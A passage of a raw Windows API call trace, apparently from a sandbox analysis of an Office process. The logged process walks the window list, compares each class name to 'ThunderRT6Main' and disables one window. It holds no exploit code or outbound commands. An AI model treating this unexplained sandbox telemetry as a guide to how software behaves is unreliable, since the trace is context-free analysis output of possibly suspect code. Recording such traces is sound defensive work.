nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.170] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.170] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.170] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0111.170] GetClassNameA (in: hWnd=0x10074, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.170] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.170] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.170] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0111.170] GetClassNameA (in: hWnd=0x10052, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0111.170] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0111.170] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.170] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0111.170] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.170] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.170] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.170] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0111.170] GetClassNameA (in: hWnd=0x10054, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Button") returned 6 [0111.171] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0111.171] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.171] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0111.171] GetClassNameA (in: hWnd=0x10050, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0111.171] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0111.171] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.171] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0111.171] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.171] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.171] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0111.171] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0111.171] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.171] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.171] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.171] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0111.171] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0111.171] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0111.171] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.171] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0111.171] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0111.171] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0111.171] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.171] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x1021a [0111.171] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0111.171] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0111.171] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.171] GetWindowLongA (hWnd=0x1021a, nIndex=-16) returned -1946157056 [0111.171] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0111.171] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0111.171] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x2019c [0111.171] GetClassNameA (in: hWnd=0x2019c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.171] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.172] GetWindowThreadProcessId (in: hWnd=0x2019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.172] GetWindowLongA (hWnd=0x2019c, nIndex=-16) returned -1946157056 [0111.172] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0111.172] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0111.172] GetWindow (hWnd=0x2019c, uCmd=0x2) returned 0x202ca [0111.172] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0111.172] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0111.172] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.172] GetWindowLongA (hWnd=0x202ca, nIndex=-16) returned 382664704 [0111.172] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0111.172] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0111.172] GetWindow (hWnd=0x202ca, uCmd=0x2) returned 0x20266 [0111.172] GetClassNameA (in: hWnd=0x20266, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.172] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.172] GetWindowThreadProcessId (in: hWnd=0x20266, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.172] GetWindowLongA (hWnd=0x20266, nIndex=-16) returned -1778384896 [0111.172] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0111.172] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0111.172] GetWindow (hWnd=0x20266, uCmd=0x2) returned 0x20268 [0111.172] GetClassNameA (in: hWnd=0x20268, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.172] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.172] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.172] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896 [0111.172] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0111.172] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0111.172] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a [0111.172] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.172] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.172] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.172] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896 [0111.172] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0111.172] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0111.172] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x600d0 [0111.172] GetClassNameA (in: hWnd=0x600d0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.172] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.173] GetWindowThreadProcessId (in: hWnd=0x600d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.173] GetWindowLongA (hWnd=0x600d0, nIndex=-16) returned -1778384896 [0111.173] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0111.173] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0111.173] GetWindow (hWnd=0x600d0, uCmd=0x2) returned 0x101d4 [0111.173] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0111.173] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0111.173] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.173] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 382664704 [0111.173] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0111.173] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0111.173] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101fe [0111.173] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.173] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.173] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.173] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned -1778384896 [0111.173] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0111.173] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0111.173] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x10200 [0111.173] GetClassNameA (in: hWnd=0x10200, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.173] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.173] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.173] GetWindowLongA (hWnd=0x10200, nIndex=-16) returned -1778384896 [0111.173] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0111.173] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0111.173] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0111.173] GetClassNameA (in: hWnd=0x10202, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.173] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.173] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.173] GetWindowLongA (hWnd=0x10202, nIndex=-16) returned -1778384896 [0111.173] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0111.173] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0111.173] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x10204 [0111.173] GetClassNameA (in: hWnd=0x10204, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.173] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.173] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.174] GetWindowLongA (hWnd=0x10204, nIndex=-16) returned -1778384896 [0111.174] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0111.174] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0111.174] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x302e6 [0111.174] GetClassNameA (in: hWnd=0x302e6, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0111.174] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0111.174] GetWindowThreadProcessId (in: hWnd=0x302e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xac4 [0111.174] GetWindow (hWnd=0x302e6, uCmd=0x2) returned 0x502aa [0111.174] GetClassNameA (in: hWnd=0x502aa, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.174] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.174] GetWindowThreadProcessId (in: hWnd=0x502aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0111.174] GetWindow (hWnd=0x502aa, uCmd=0x2) returned 0x202b0 [0111.174] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0111.174] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0111.174] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.174] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -2080374784 [0111.174] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0111.174] IsWindowEnabled (hWnd=0x202b0) returned 1 [0111.174] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0111.174] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0111.174] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0111.174] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026e [0111.174] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0111.174] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0111.174] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.174] GetWindowLongA (hWnd=0x2026e, nIndex=-16) returned 1149272145 [0111.174] GetWindow (hWnd=0x2026e, uCmd=0x2) returned 0x10296 [0111.175] GetClassNameA (in: hWnd=0x10296, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.175] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.175] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0111.175] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x20232 [0111.175] GetClassNameA (in: hWnd=0x20232, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0111.175] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0111.175] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.175] GetWindowLongA (hWnd=0x20232, nIndex=-16) returned 213909504 [0111.175] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0111.175] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0111.175] GetWindow (hWnd=0x20232, uCmd=0x2) returned 0x1022e [0111.175] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0111.175] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0111.175] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.175] GetWindowLongA (hWnd=0x1022e, nIndex=-16) returned -2080374784 [0111.175] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0111.175] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0111.175] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x101d2 [0111.175] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.175] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.175] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.175] GetWindowLongA (hWnd=0x101d2, nIndex=-16) returned -2046820352 [0111.175] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0111.175] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0111.175] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101d0 [0111.175] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.175] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.175] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.175] GetWindowLongA (hWnd=0x101d0, nIndex=-16) returned -2046820352 [0111.175] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0111.175] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0111.175] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101ce [0111.176] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.176] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.176] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.176] GetWindowLongA (hWnd=0x101ce, nIndex=-16) returned -2046820352 [0111.176] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0111.176] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0111.176] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101cc [0111.176] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.176] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.176] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.176] GetWindowLongA (hWnd=0x101cc, nIndex=-16) returned -2046820352 [0111.176] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0111.176] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0111.176] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x301a2 [0111.176] GetClassNameA (in: hWnd=0x301a2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0111.176] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0111.176] GetWindowThreadProcessId (in: hWnd=0x301a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.176] GetWindowLongA (hWnd=0x301a2, nIndex=-16) returned 114229248 [0111.176] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0111.176] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0111.176] GetWindow (hWnd=0x301a2, uCmd=0x2) returned 0x401a4 [0111.176] GetClassNameA (in: hWnd=0x401a4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0111.176] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0111.176] GetWindowThreadProcessId (in: hWnd=0x401a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x914 [0111.176] GetWindow (hWnd=0x401a4, uCmd=0x2) returned 0x201a0 [0111.176] GetClassNameA (in: hWnd=0x201a0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0111.176] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0111.176] GetWindowThreadProcessId (in: hWnd=0x201a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.177] GetWindowLongA (hWnd=0x201a0, nIndex=-16) returned -2080374784 [0111.177] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0111.177] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0111.177] GetWindow (hWnd=0x201a0, uCmd=0x2) returned 0x10194 [0111.177] GetClassNameA (in: hWnd=0x10194, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.177] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.177] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0111.177] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10192 [0111.177] GetClassNameA (in: hWnd=0x10192, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="spendwin") returned 8 [0111.177] lstrcmpA (lpString1="spendwin", lpString2="ThunderRT6Main") returned -1 [0111.177] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0111.177] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x20208 [0111.177] GetClassNameA (in: hWnd=0x20208, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0111.177] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0111.177] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.177] GetWindowLongA (hWnd=0x20208, nIndex=-16) returned -2080374784 [0111.177] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0111.177] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0111.177] GetWindow (hWnd=0x20208, uCmd=0x2) returned 0x201fa [0111.177] GetClassNameA (in: hWnd=0x201fa, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0111.177] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0111.177] GetWindowThreadProcessId (in: hWnd=0x201fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.177] GetWindowLongA (hWnd=0x201fa, nIndex=-16) returned 1149272145 [0111.177] GetWindow (hWnd=0x201fa, uCmd=0x2) returned 0x101c8 [0111.177] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0111.177] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0111.177] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.177] GetWindowLongA (hWnd=0x101c8, nIndex=-16) returned 1149272145 [0111.177] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x1018e [0111.177] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Possiblycls") returned 11 [0111.177] lstrcmpA (lpString1="Possiblycls", lpString2="ThunderRT6Main") returned -1 [0111.177] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0111.178] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0111.178] GetClassNameA (in: hWnd=0x10190, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.178] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.178] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0111.178] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0111.178] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="completingapp") returned 13 [0111.178] lstrcmpA (lpString1="completingapp", lpString2="ThunderRT6Main") returned -1 [0111.178] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0111.178] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0111.178] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.178] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.178] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0111.178] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0111.178] GetClassNameA (in: hWnd=0x10186, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Household") returned 9 [0111.178] lstrcmpA (lpString1="Household", lpString2="ThunderRT6Main") returned -1 [0111.178] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0111.178] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0111.178] GetClassNameA (in: hWnd=0x10188, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.178] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.178] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0111.178] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0111.178] GetClassNameA (in: hWnd=0x10182, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="mjvidsclass") returned 11 [0111.178] lstrcmpA (lpString1="mjvidsclass", lpString2="ThunderRT6Main") returned -1 [0111.178] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0111.178] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0111.178] GetClassNameA (in: hWnd=0x10184, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.178] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.178] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0111.178] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0111.179] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Unlessclass") returned 11 [0111.179] lstrcmpA (lpString1="Unlessclass", lpString2="ThunderRT6Main") returned 1 [0111.179] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0111.179] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0111.179] GetClassNameA (in: hWnd=0x10180, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.179] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.179] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0111.179] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0111.179] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Consultants_Consistent_window") returned 29 [0111.179] lstrcmpA 